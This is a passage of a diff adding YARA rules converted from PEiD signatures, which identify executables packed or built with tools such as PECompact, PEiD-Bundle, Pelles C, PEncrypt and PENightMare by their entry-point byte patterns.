+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? F3 0D}
+    condition:
+        $a
+}
+
+rule PEiD_01569_PECompact_v1_26b1___v1_26b2_
+{
+    meta:
+        description = "[PECompact v1.26b1 - v1.26b2]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? 05 0E}
+    condition:
+        $a
+}
+
+rule PEiD_01570_PECompact_v1_33_
+{
+    meta:
+        description = "[PECompact v1.33]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 80 40 ?? 87 DD 8B 85 A6 80 40 ?? 01 85 03 80 40 ?? 66 C7 85 00 80 40 ?? 90 90 01 85 9E 80 40 ?? BB E8 0E}
+    condition:
+        $a
+}
+
+rule PEiD_01571_PECompact_v1_34___v1_40b1_
+{
+    meta:
+        description = "[PECompact v1.34 - v1.40b1]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 80 40 ?? 87 DD 8B 85 A6 80 40 ?? 01 85 03 80 40 ?? 66 C7 85 ?? 00 80 ?? 40 90 90 01 85 9E 80 ?? 40 BB F8 10}
+    condition:
+        $a
+}
+rule PEiD_01572_PECompact_v1_40___v1_45_
+{
+    meta:
+        description = "[PECompact v1.40 - v1.45]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB C3 11}
+    condition:
+        $a
+}
+
+rule PEiD_01573_PECompact_v1_40b2___v1_40b4_
+{
+    meta:
+        description = "[PECompact v1.40b2 - v1.40b4]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 86 11}
+    condition:
+        $a
+}
+
+rule PEiD_01574_PECompact_v1_40b5___v1_40b6_
+{
+    meta:
+        description = "[PECompact v1.40b5 - v1.40b6]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 8A 11}
+    condition:
+        $a
+}
+
+rule PEiD_01575_PECompact_v1_46_
+{
+    meta:
+        description = "[PECompact v1.46]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 60 12}
+    condition:
+        $a
+}
+
+rule PEiD_01576_PECompact_v1_47___v1_50_
+{
+    meta:
+        description = "[PECompact v1.47 - v1.50]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 5B 12}
+    condition:
+        $a
+}
+
+rule PEiD_01577_PECompact_v1_4x__
+{
+    meta:
+        description = "[PECompact v1.4x+]"
+        ep_only = "false"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81}
+    condition:
+        $a
+}
+
+rule PEiD_01578_PECompact_v1_55_
+{
+    meta:
+        description = "[PECompact v1.55]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 80 40 ?? 87 DD 8B 85 A2 80 40 ?? 01 85 03 80 40 ?? 66 C7 85 ?? 80 40 ?? 90 90 01 85 9E 80 40 ?? BB 2D 12}
+    condition:
+        $a
+}
+rule PEiD_01579_PECompact_v1_56_
+{
+    meta:
+        description = "[PECompact v1.56]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 90 40 ?? 87 DD 8B 85 A2 90 40 ?? 01 85 03 90 40 ?? 66 C7 85 ?? 90 40 ?? 90 90 01 85 9E 90 40 ?? BB 2D 12}
+    condition:
+        $a
+}
+
+rule PEiD_01580_PECompact_v1_60___v1_65_
+{
+    meta:
+        description = "[PECompact v1.60 - v1.65]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 80 40 ?? 87 DD 8B 85 D2 80 40 ?? 01 85 33 80 40 ?? 66 C7 85 ?? 80 40 ?? 90 90 01 85 CE 80 40 ?? BB BB 12}
+    condition:
+        $a
+}
+
+rule PEiD_01581_PECompact_v1_66_
+{
+    meta:
+        description = "[PECompact v1.66]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 ?? 87 DD 8B 85 E6 90 40 ?? 01 85 33 90 40 ?? 66 C7 85 ?? 90 40 ?? 90 90 01 85 DA 90 40 ?? 01 85 DE 90 40 ?? 01 85 E2 90 40 ?? BB 5B 11}
+    condition:
+        $a
+}
+
+rule PEiD_01582_PECompact_v1_67_
+{
+    meta:
+        description = "[PECompact v1.67]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 87 DD 8B 85 E6 90 40 01 85 33 90 40 66 C7 85 90 40 90 90 01 85 DA 90 40 01 85 DE 90 40 01 85 E2 90 40 BB 8B 11}
+    condition:
+        $a
+}
+
+rule PEiD_01583_PECompact_v1_68___v1_84_
+{
+    meta:
+        description = "[PECompact v1.68 - v1.84]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 87 DD 8B 85 E6 90 40 01 85 33 90 40 66 C7 85 90 40 90 90 01 85 DA 90 40 01 85 DE 90 40 01 85 E2 90 40 BB 7B 11}
+    condition:
+        $a
+}
+
+rule PEiD_01584_PECompact_v1_84_
+{
+    meta:
+        description = "[PECompact v1.84]"
+        ep_only = "true"
+    strings:
+        $a = {33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81}
+    condition:
+        $a
+}
+rule PEiD_01585_PECompact_v2_0_beta____Jeremy_Collake_
+{
+    meta:
+        description = "[PECompact v2.0 beta -> Jeremy Collake]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 05 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 CC 90 90 90 90}
+    condition:
+        $a
+}
+
+rule PEiD_01586_PECompact_v2_00_alpha_38_
+{
+    meta:
+        description = "[PECompact v2.00 alpha 38]"
+        ep_only = "false"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 80 B8 BF 10 00 10 01 74 7A C6 80 BF 10 00 10 01 9C 55 53 51 57 52 56 8D 98 0F 10 00 10 8B 53 14 8B E8 6A 40 68 00 10 00 00 FF 73 04 6A 00 8B 4B 10 03 CA 8B 01 FF D0 8B F8 50 8B 33 8B 53 14 03 F2 8B 4B 0C 03 CA 8D 85 B7 10 00 10 FF 73 04 8F 00 50 57 56 FF D1 58 03 43 08 8B F8 8B 53 14 8B F0 8B 46 FC 83 C0 04 2B F0 89 56 08 8B 4B 10 89 4E 18 FF D7 89 85 BB 10 00 10 5E 5A 5F 59 5B 5D 9D FF E0 8B 80 BB 10 00 10 FF E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01587_PeCompact_v2_08____Bitsum_Technologies_signature_by_loveboom__
+{
+    meta:
+        description = "[PeCompact v2.08 -> Bitsum Technologies(signature by loveboom)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D}
+    condition:
+        $a
+}
+
+rule PEiD_01588_PECompact_v2_0_
+{
+    meta:
+        description = "[PECompact v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00}
+    condition:
+        $a
+}
+
+rule PEiD_01589_PECompact_v2_5_Retail__Slim_Loader_____Bitsum_Technologies_
+{
+    meta:
+        description = "[PECompact v2.5 Retail (Slim Loader) -> Bitsum Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? 01 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 32 00}
+    condition:
+        $a
+}
+
+rule PEiD_01590_PECompact_v2_5_Retail____Bitsum_Technologies_
+{
+    meta:
+        description = "[PECompact v2.5 Retail -> Bitsum Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? 01 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00}
+    condition:
+        $a
+}
+rule PEiD_01591_PECompact_V2_X____Bitsum_Technologies_
+{
+    meta:
+        description = "[PECompact V2.X -> Bitsum Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43}
+    condition:
+        $a
+}
+
+rule PEiD_01592_PECompact_v2_xx_
+{
+    meta:
+        description = "[PECompact v2.xx]"
+        ep_only = "false"
+    strings:
+        $a = {B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00}
+    condition:
+        $a
+}
+
+rule PEiD_01593_PeCompact2_2_53_2_76____BitSum_Technologies_
+{
+    meta:
+        description = "[PeCompact2 2.53-2.76 -> BitSum Technologies]"
+        ep_only = "false"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 55 53 51 57 56 52 8D 98 C9 11 00 10 8B 53 18 52 8B E8 6A 40 68 00 10 00 00 FF 73 04 6A 00 8B 4B 10 03 CA 8B 01 FF D0 5A 8B F8 50 52 8B 33 8B 43 20 03 C2 8B 08 89 4B 20 8B 43 1C 03 C2 8B 08 89 4B 1C 03 F2 8B 4B 0C 03 CA 8D 43 1C 50 57 56 FF}
+    condition:
+        $a
+}
+
+rule PEiD_01594_PECrc32_0_88____ZhouJinYu_
+{
+    meta:
+        description = "[PECrc32 0.88 -> ZhouJinYu]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED B6 A4 45 00 8D BD B0 A4 45 00 81 EF 82 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01595_PEcrypt___by_archphase_
+{
+    meta:
+        description = "[PEcrypt - by archphase]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 E0 53 56 33 C0 89 45 E4 89 45 E0 89 45 EC ?? ?? ?? ?? 64 82 40 00 E8 7C C7 FF FF 33 C0 55 68 BE 84 40 00 64 FF 30 64 89 20 68 CC 84 40 00 ?? ?? ?? ?? 00 A1 10 A7 40 00 50 E8 1D C8 FF FF 8B D8 85 DB 75 39 E8 3A C8 FF FF 6A 00 6A 00 68 A0 A9}
+    condition:
+        $a
+}
+rule PEiD_01596_PEcrypt___by_archphase_
+{
+    meta:
+        description = "[PEcrypt - by archphase]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 E0 53 56 33 C0 89 45 E4 89 45 E0 89 45 EC ?? ?? ?? ?? 64 82 40 00 E8 7C C7 FF FF 33 C0 55 68 BE 84 40 00 64 FF 30 64 89 20 68 CC 84 40 00 ?? ?? ?? ?? 00 A1 10 A7 40 00 50 E8 1D C8 FF FF 8B D8 85 DB 75 39 E8 3A C8 FF FF 6A 00 6A 00 68 A0 A9 40 00 68 00 04 00 00 50 6A 00 68 00 13 00 00 E8 FF C7 FF FF 6A 00 68 E0 84 40 00 A1 A0 A9 40 00 50 6A 00 E8 ?? ?? ?? ?? E9 7D 01 00 00 53 A1 10 A7 40 00 50 E8 42 C8 FF FF 8B F0 85 F6 75 18 6A 00 68 E0 84 40 00 68 E4 84 40 00 6A 00 E8 71 C8 FF FF E9 53 01 00 00 53 6A 00 E8 2C C8 FF FF A3 ?? ?? ?? ?? 83 3D 48 A8 40 00 00 75 18 6A 00 68 E0 84 40 00 68 F8 84 40 00 6A 00 E8 43 C8 FF FF E9 25 01 00 00 56 E8 F8 C7 FF FF A3 4C A8 40 00 A1 48 A8 40 00 E8 91 A1 FF FF 8B D8 8B 15 48 A8 40 00 85 D2 7C 16 42 33 C0 8B 0D 4C A8 40 00 03 C8 8A 09 8D 34 18 88 0E 40 4A 75 ED 8B 15 48 A8 40 00 85 D2 7C 32 42 33 C0 8D 34 18 8A 0E 80 F9 01 75 05 C6 06 FF EB 1C 8D 0C 18 8A 09 84 ?? ?? ?? ?? ?? 00 EB 0E 8B 0D 4C A8 40 00 03 C8 0F B6 09 49 88 0E 40 4A 75 D1 8D ?? ?? ?? ?? E8 A5 A3 FF FF 8B 45 E8 8D 55 EC E8 56 D5 FF FF 8D 45 EC BA 18 85 40 00 E8 79 BA FF FF 8B 45 EC E8 39 BB FF FF 8B D0 B8 54 A8 40 00 E8 31 A6 FF FF BA 01 00 00 00 B8 54 A8 40 00 E8 12 A9 FF FF E8 DD A1 FF FF 68 50 A8 40 00 8B D3 8B 0D 48 A8 40 00 B8 54 A8 40 00 E8 56 A7 FF FF E8 C1 A1 FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01597_PEEncrypt_v4_0b__JunkCode__
+{
+    meta:
+        description = "[PEEncrypt v4.0b (JunkCode)]"
+        ep_only = "true"
+    strings:
+        $a = {66 ?? ?? 00 66 83 ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_01598_PEiD_Bundle_v1_00___v1_01____BoB___BobSoft_
+{
+    meta:
+        description = "[PEiD-Bundle v1.00 - v1.01 -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? 02 00 00 8B 44 24 04 52 48 66 31 C0 66 81 38 4D 5A 75 F5 8B 50 3C 81 3C 02 50 45 00 00 75 E9 5A C2 04 00 60 89 DD 89 C3 8B 45 3C 8B 54 28 78 01 EA 52 8B 52 20 01 EA 31 C9 41 8B 34 8A}
+    condition:
+        $a
+}
+rule PEiD_01599_PEiD_Bundle_V1_00____BoB___BobSoft_
+{
+    meta:
+        description = "[PEiD-Bundle V1.00 -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 21 02 00 00 8B 44 24 04 52 48 66 31 C0 66 81 38 4D 5A 75 F5 8B 50 3C 81 3C 02 50 45 00 00 75 E9 5A C2 04 00 60 89 DD 89 C3 8B 45 3C 8B 54 28 78 01 EA 52 8B 52 20 01 EA 31 C9 41 8B 34 8A}
+    condition:
+        $a
+}
+
+rule PEiD_01600_PEiD_Bundle_V1_01____BoB___BobSoft_
+{
+    meta:
+        description = "[PEiD-Bundle V1.01 -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 23 02 00 00 8B 44 24 04 52 48 66 31 C0 66 81 38 4D 5A 75 F5 8B 50 3C 81 3C 02 50 45 00 00 75 E9 5A C2 04 00 60 89 DD 89 C3 8B 45 3C 8B 54 28 78 01 EA 52 8B 52 20 01 EA 31 C9 41 8B 34 8A}
+    condition:
+        $a
+}
+
+rule PEiD_01601_PEiD_Bundle_v1_02___v1_04____BoB___BobSoft_
+{
+    meta:
+        description = "[PEiD-Bundle v1.02 - v1.04 -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 ?? ?? ?? 2E ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 80 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 44}
+    condition:
+        $a
+}
+
+rule PEiD_01602_PEiD_Bundle_V1_02____BoB___BobSoft_
+{
+    meta:
+        description = "[PEiD-Bundle V1.02 -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 ?? ?? ?? 2E ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 80 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 44}
+    condition:
+        $a
+}
+
+rule PEiD_01603_PEiD_Bundle_V1_02_DLL____BoB___BobSoft_
+{
+    meta:
+        description = "[PEiD-Bundle V1.02 DLL -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 00 08 00 39 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 80 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01604_PEiD_Bundle_v1_04____BoB___BobSoft_
+{
+    meta:
+        description = "[PEiD-Bundle v1.04 -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 ?? ?? ?? 2E ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 80 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 44}
+    condition:
+        $a
+}
+
+rule PEiD_01605_Pelles_C_2_8_x_4_5_x____Pelle_Orinius_
+{
+    meta:
+        description = "[Pelles C 2.8.x-4.5.x -> Pelle Orinius]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 83 EC}
+    condition:
+        $a
+}
+
+rule PEiD_01606_Pelles_C_2_80__2_90_EXE__X86_CRT_LIB__
+{
+    meta:
+        description = "[Pelles C 2.80 -2.90 EXE (X86 CRT-LIB)]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 83 EC ?? 83 EC ?? 53 56 57 89 65 E8 68 00 00 00 ?? E8 ?? ?? ?? ?? 59 A3}
+    condition:
+        $a
+}
+
+rule PEiD_01607_Pelles_C_2_90_EXE__X86_CRT_LIB__
+{
+    meta:
+        description = "[Pelles C 2.90 EXE (X86 CRT-LIB)]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 83 EC ?? 83 EC ?? 53 56 57 89 65 E8 68 00 00 00 02 E8 ?? ?? ?? ?? 59 A3}
+    condition:
+        $a
+}
+
+rule PEiD_01608_Pelles_C_2_90__3_00__4_00_DLL__X86_CRT_LIB__
+{
+    meta:
+        description = "[Pelles C 2.90, 3.00, 4.00 DLL (X86 CRT-LIB)]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 53 56 57 8B 5D 0C 8B 75 10 BF 01 00 00 00 85 DB 75 10 83 3D ?? ?? ?? ?? 00 75 07 31 C0 E9 ?? ?? ?? ?? 83 FB 01 74 05 83 FB 02 75 ?? 85 FF 74}
+    condition:
+        $a
+}
+rule PEiD_01609_Pelles_C_2_x_4_x_DLL____Pelle_Orinius_
+{
+    meta:
+        description = "[Pelles C 2.x-4.x DLL -> Pelle Orinius]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 53 56 57 8B 5D 0C 8B 75 10}
+    condition:
+        $a
+}
+
+rule PEiD_01610_Pelles_C_3_00__4_00__4_50_EXE__X86_CRT_DLL__
+{
+    meta:
+        description = "[Pelles C 3.00, 4.00, 4.50 EXE (X86 CRT-DLL)]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 83 EC ?? 53 56 57 89 65 E8 C7 45 FC ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 BE ?? ?? ?? ?? EB}
+    condition:
+        $a
+}
+
+rule PEiD_01611_Pelles_C_3_00__4_00__4_50_EXE__X86_CRT_LIB__
+{
+    meta:
+        description = "[Pelles C 3.00, 4.00, 4.50 EXE (X86 CRT-LIB)]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 83 EC ?? 53 56 57 89 65 E8 68 00 00 00 02 E8 ?? ?? ?? ?? 59 A3}
+    condition:
+        $a
+}
+
+rule PEiD_01612_Pelles_C_4_50_DLL__X86_CRT_LIB__
+{
+    meta:
+        description = "[Pelles C 4.50 DLL (X86 CRT-LIB)]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 53 56 57 8B 5D 0C 8B 75 10 85 DB 75 0D 83 3D ?? ?? ?? ?? 00 75 04 31 C0 EB 57 83 FB 01 74 05 83 FB 02 75}
+    condition:
+        $a
+}
+
+rule PEiD_01613_PELOCKnt_2_04_
+{
+    meta:
+        description = "[PELOCKnt 2.04]"
+        ep_only = "true"
+    strings:
+        $a = {EB 03 CD 20 C7 1E EB 03 CD 20 EA 9C EB 02 EB 01 EB 01 EB 60}
+    condition:
+        $a
+}
+
+rule PEiD_01614_PEMangle_
+{
+    meta:
+        description = "[PEMangle]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C BE ?? ?? ?? ?? 8B FE B9 ?? ?? ?? ?? BB 44 52 4F 4C AD 33 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01615_PEncrypt_1_0____JunkCode_
+{
+    meta:
+        description = "[PEncrypt 1.0 -> JunkCode]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C BE 00 10 40 00 8B FE B9 ?? ?? ?? ?? BB 78 56 34 12 AD 33 C3 AB E2 FA 9D 61 E9 ?? ?? ?? FF}
+    condition:
+        $a
+}
+
+rule PEiD_01616_PEncrypt_2_0____junkcode_
+{
+    meta:
+        description = "[PEncrypt 2.0 -> junkcode]"
+        ep_only = "true"
+    strings:
+        $a = {EB 25 00 00 F7 BF 00 00 00 00 00 00 00 00 00 00 12 00 E8 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 00 00 E8 00 00 00 00 5D 81 ED 2C 10 40 00 8D B5 14 10 40 00 E8 33 00 00 00 89 85 10 10 40 00 BF 00 00 40 00 8B F7 03 7F 3C 8B 4F 54 51 56 8D 85}
+    condition:
+        $a
+}
+
+rule PEiD_01617_PEncrypt_2_0____junkcode_
+{
+    meta:
+        description = "[PEncrypt 2.0 -> junkcode]"
+        ep_only = "true"
+    strings:
+        $a = {EB 25 00 00 F7 BF 00 00 00 00 00 00 00 00 00 00 12 00 E8 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 00 00 E8 00 00 00 00 5D 81 ED 2C 10 40 00 8D B5 14 10 40 00 E8 33 00 00 00 89 85 10 10 40 00 BF 00 00 40 00 8B F7 03 7F 3C 8B 4F 54 51 56 8D 85 23 10 40 00 50 6A 04 51 56 FF 95 10 10 40 00 5E 59 C6 06 00 46 E2 FA E9 AE 00 00 00 55 E8 00 00 00 00 5D 81 ED 77 10 40 00 8B D6 80 3E 00 74 03 46 EB F8 46 2B F2 8B CE 33 C0 66 89 85 06 10 40 00 8B B5 02 10 40 00 83 C6 3C 66 AD 03 85 02 10 40 00 8B 70 78 03 B5 02 10 40 00 83 C6 1C AD 03 85 02 10 40 00 89 85 08 10 40 00 AD 03 85 02 10 40 00 50 AD 03 85 02 10 40 00 89 85 0C 10 40 00 5E 56 AD 03 85 02 10 40 00 8B F0 8B FA 51 FC F3 A6 59 74 0D 5E 83 C6 04 66 FF 85 06 10 40 00 EB E0 5E 0F B7 85 06 10 40 00 D1 E0}
+    condition:
+        $a
+}
+rule PEiD_01618_PEncrypt_v1_0_
+{
+    meta:
+        description = "[PEncrypt v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C BE 00 10 40 00 8B FE B9 28 03 00 00 BB 78 56 34 12 AD 33 C3 AB E2 FA 9D 61}
+    condition:
+        $a
+}
+
+rule PEiD_01619_PEncrypt_v3_0_
+{
+    meta:
+        description = "[PEncrypt v3.0]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5D 81 ED 05 10 40 00 8D B5 24 10 40 00 8B FE B9 0F 00 00 00 BB ?? ?? ?? ?? AD 33 C3 E2 FA}
+    condition:
+        $a
+}
+
+rule PEiD_01620_PEncrypt_v3_1_
+{
+    meta:
+        description = "[PEncrypt v3.1]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? 00 F0 0F C6}
+    condition:
+        $a
+}
+
+rule PEiD_01621_PEnguinCrypt_v1_0_
+{
+    meta:
+        description = "[PEnguinCrypt v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {B8 93 ?? ?? 00 55 50 67 64 FF 36 00 00 67 64 89 26 00 00 BD 4B 48 43 42 B8 04 00 00 00 CC 3C 04 75 04 90 90 C3 90 67 64 8F 06 00 00 58 5D BB 00 00 40 00 33 C9 33 C0}
+    condition:
+        $a
+}
+
+rule PEiD_01622_PENightMare_2_Beta_
+{
+    meta:
+        description = "[PENightMare 2 Beta]"
+        ep_only = "true"
+    strings:
+        $a = {60 E9 ?? ?? ?? ?? EF 40 03 A7 07 8F 07 1C 37 5D 43 A7 04 B9 2C 3A}
+    condition:
+        $a
+}
+
+rule PEiD_01623_PENightMare_v1_3_
+{
+    meta:
+        description = "[PENightMare v1.3]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D B9 ?? ?? ?? ?? 80 31 15 41 81 F9}
+    condition:
+        $a
+}
+
+rule PEiD_01624_PENinja_modified_
+{
+    meta:
+        description = "[PENinja modified]"
+        ep_only = "true"
+    strings:
+        $a = {5D 8B C5 81 ED B2 2C 40 00 2B 85 94 3E 40 00 2D 71 02 00 00 89 85 98 3E 40 00 0F B6 B5 9C 3E 40 00 8B FD}
+    condition:
+        $a
+}
+
+rule PEiD_01625_PENinja_
+{
+    meta:
+        description = "[PENinja]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+    condition:
+        $a
+}
+
+rule PEiD_01626_PEQuake_0_06_by_fORGAT_
+{
+    meta:
+        description = "[PEQuake 0.06 by fORGAT]"
+        ep_only = "false"
+    strings:
